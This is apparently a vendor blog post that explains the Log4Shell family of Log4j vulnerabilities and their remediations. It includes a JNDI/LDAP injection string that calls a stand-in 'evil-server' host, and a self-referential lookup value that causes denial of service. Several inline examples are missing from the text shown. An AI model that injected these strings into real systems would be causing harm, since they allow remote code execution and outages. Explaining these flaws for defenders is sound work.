Making Sense of the Constantly Changing Log4Shell Landscape

ChatGPT vulnerability

By: Yotam Perkal

If you find yourself baffled by the influx of events and newly discovered vulnerabilities affecting the popular Apache Log4j Java logging library, this post is for you. 

This post aims to survey the entire flow of events since the first discovery of CVE-2021-44228, AKA Log4Shell, to the present date, explain the important aspects of each related vulnerability, as well as provide practical remediation and mitigation advice.

The timeline for the recent Log4j related vulnerabilities is depicted in the following infographic:

The fact that new vulnerabilities were discovered shouldn’t come as a surprise. Since the Log4Shell vulnerability was published and gained so much public attention (and rightfully so), the entire security community has begun exploring the Log4j code-base as well as the patches released aiming to punch holes in them. These measures are being taken to ensure that the fixes are valid/complete and that there aren’t any additional vulnerabilities lurking in the codebase. Taking into account the fact that this immensely popular project is maintained mostly by a handful of volunteer developers in their spare time, it is not an even match. 

As well reflected in the following quotes by Volkan Yazici, one of the Log4j maintainers:

This sparked a much-needed discussion about the need for providing ongoing industry support for open source projects and suggestions for alternative models that defy the current status quo.

Hopefully, this kind of discussion will help prevent the next “Log4Shell like” vulnerability.

Before we dive into the entire timeline of events, if you are unsure of the current recommendations regarding mitigation and remediation of the different Log4j related vulnerabilities, the best place to refer to is the security page of the Apache Log4j website, as well as the CISA advisory.

At the time of writing, the recommendation is as follows:

• Identify affected assets

• Upgrade Log4j assets and affected products to the latest version (Log4j 2.3.2 for Java 6, 2.12.4 for Java 7, or 2.17.1 for Java 8 and later) and remain alert to vendor software updates

Note that both Java 6 and Java 7 are currently End of Life end and it is advised to upgrade to Java 8

• Initiate hunt and incident response procedures to detect possible Log4Shell exploitation

If for any reason you are currently unable to upgrade to the latest patched version or are waiting for a third-party vendor update refer to “How can It be mitigated?” under each vulnerability in the vulnerability analysis section for viable mitigations.

Vulnerability Analysis – By Order of Appearance

CVE-2021-44228

CVSS: 10

Description
In Apache Log4j2 versions up to and including 2.14.1, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

What do you need to know?
Also known as Log4Shell, this is the first vulnerability published and by far, the most severe. 

The Log4Shell vulnerability utilizes a Log4j feature called Message Lookup Substitution which aims to provide an easy way to add environment context to log messages. It works by enabling strings matching a specific special syntax to be replaced by dynamic parameters at the time of logging. For example, logging the string:

will yield an output similar to: 

The above example contains two types of lookups, marked in bold, the java lookup (retrieves Java environment information) as well as the environment lookup (configures/retrieves environment variables). There are various other types of lookups yet the Log4Shell vulnerability is specifically caused due to the JNDI lookup combined with the LDAP protocol (which was enabled by default up until log4j 2.15). Using this lookup allowed retrieving specified Java class from a remote source, deserializing it, while executing some of the class’ code in the process.

Essentially, this allows an unauthenticated attacker to execute arbitrary code loaded from LDAP servers simply by adding something like this: ${jndi:ldap://evil-server.com/malicious_object}  to any input that happens to be logged (user agent, form data, Minecraft chat messages, etc.).

Those looking to gain a better understanding of the vulnerability, are welcome to refer to this great live-overflow video.

Starting from Log4j version 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. 

It was later discovered that this vulnerability could also be exploited locally via WebSockets, rendering web application firewalls, or other network defenses, ineffective means of mitigation.

How can it be mitigated?
For Log4j 1.x:
A separate CVE (CVE-2021-4104) was assigned to this vulnerability in version 1.x. See mitigation recommendation below accordingly.

For Log4j 2.x:
Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

CVE-2021-4104

CVSS: 8.1

Description
JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration.

What do you need to know?
This issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default configuration.

Even though version 1.2 of Log4j does not support message lookup substitution, there is a possibility to configure the JMSAppender class to perform JNDI lookups by setting either the TopicBindingName or TopicConnectionFactoryBindingName properties to something that JNDI can handle (i.e ldap://evil-server/malicious_object), making it susceptible to arbitrary code execution in a similar fashion to CVE-2021-44228.

CVE-2021-4104 will not be patched, as the Log4j 1.x branch has reached end-of-life in August 2015. If you are using log4j version 1.2, you should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

How can it be mitigated?
For Log4j 1.x:
• Comment out or remove JMSAppender in the Log4j configuration if it is used (as configurations without JMSAppender are not impacted by this vulnerability)
• Remove the JMSAppender class from the classpath. For example: zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class
• Restrict access for the OS user on the platform running the application to prevent modifying the Log4j configuration by an attacker

For Log4j 2.x:
Log4j 2.x is not impacted by this vulnerability.

CVE-2021-45046

CVSS 9.0

Description
It was found that the fix addressing CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on MacOS, Fedora, Arch Linux, and Alpine Linux.

What do you need to know?
In this case, it was discovered that another lookup type can also be susceptible to the same type of exploitation under certain configurations. Specifically, the Context Map Lookup (${ctx:some_value}).

How does it work?
If for example, the log4j.properties file contains the following line:

The user agent is controlled by an attacker and the application is configured to add the same user agent parameter to the Thread Context Map, for example:

The attacker can send an HTTP request such as:

Triggering code execution.

Note that this method of operation rendered some of the mitigations recommended as a workaround for Log4Shell, such as setting system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true, ineffective.

How can it be mitigated?
For Log4j 1.x:
Log4j 1.x is not impacted by this vulnerability.

For Log4j 2.x:
Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

CVE-2021-45105

CVSS 5.9

Description
Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. 

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), an attacker with control over Thread Context Map data can cause a denial of service when a crafted string is interpreted. 

What do you need to know?
The prerequisites for this attack are identical to CVE-2021-45046. It utilizes the same Context Lookup mechanism, only, in this case, it can be used to trigger a crash (DOS).

This happens since when a nested variable is substituted by the StrSubstitutor class, it calls the substitute() class recursively. Only while doing so, the recursion is called with the same string, leading to an infinite recursion. This results in a StackOverflowError that terminates the process, effectively causing a Denial of Service condition on the server. As an example, if the Pattern Layout contains a Context Lookup of ${ctx.loginId}, and its assigned value is ${${ctx.loginId}}, the variable will be recursively substituted with itself. For those seeking to get a better understanding of the vulnerability, I recommend reading the analysis conducted by Trend-Micro.

How can it be mitigated?
For Log4j 1.x:
Log4j 1.x is not impacted by this vulnerability.

For Log4j 2.x:
• In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
• Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

CVE-2021-44832

CVSS 6.6

Description
Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.

What do you need to know?
Before we explain the vulnerability, it is important to note that this vulnerability is extremely unlikely to be exploited in the wild as it requires a very specific set of conditions to be in place. Specifically, a prerequisite for exploiting CVE-2021-44832 requires attackers to have permissions to modify the configuration of the logging system. This is not likely to be the case in most scenarios where Log4j is used.

The vulnerability relies on a log4j feature called Appenders. Appenders are responsible for delivering LogEvents to their destination. Some examples include:
ConsoleAppender, which writes logs to the console (no big surprise there)
FileAppender, which writes to the file named in the fileName parameter
KafkaAppender, which writes logs to a Kafka topic

And more…

CVE-2021-44832 relies on the JDBC Appender

The JDBC Appender writes log events to a relational database table using standard JDBC

When configuring the JDBCAppender, a user must specify a ConnectionSource implementation from which the Appender gets JDBC connections. The available connectors are:
<DataSource>: Uses JNDI
<ConnectionFactory>: Points to a class-method pair to provide JDBC connections
<DriverManager>: A quick and dirty way to get off the ground, no connection pooling
<PoolingDriver>: Uses Apache Commons DBCP to provide connection pooling

As you can see, the DataSource connector uses JNDI, which makes it susceptible to the exact same type of weaknesses seen in other Log4j CVEs detailed above.

So in the event that an attacker has the ability to modify a log4j configuration file (such as log4j.xml),  and insert a line such as:

Or alternatively, spoof a remote server from which the application imports the log4j.xml file, he could potentially be able to execute arbitrary code.

How can it be mitigated?
For Log4j 1.x:
Log4j 1.x is not impacted by this vulnerability.

For Log4j 2.x:
Confirm that if the JDBC Appender is being used it is not configured to use any protocol other than Java.

I hope this post cleared up any confusion regarding the different Log4j vulnerabilities and helped get a particle sense of how to remediate the risk or mitigate it wherever remediation isn’t possible.

Reduce your patching efforts by
85% or more in less than 10 minutes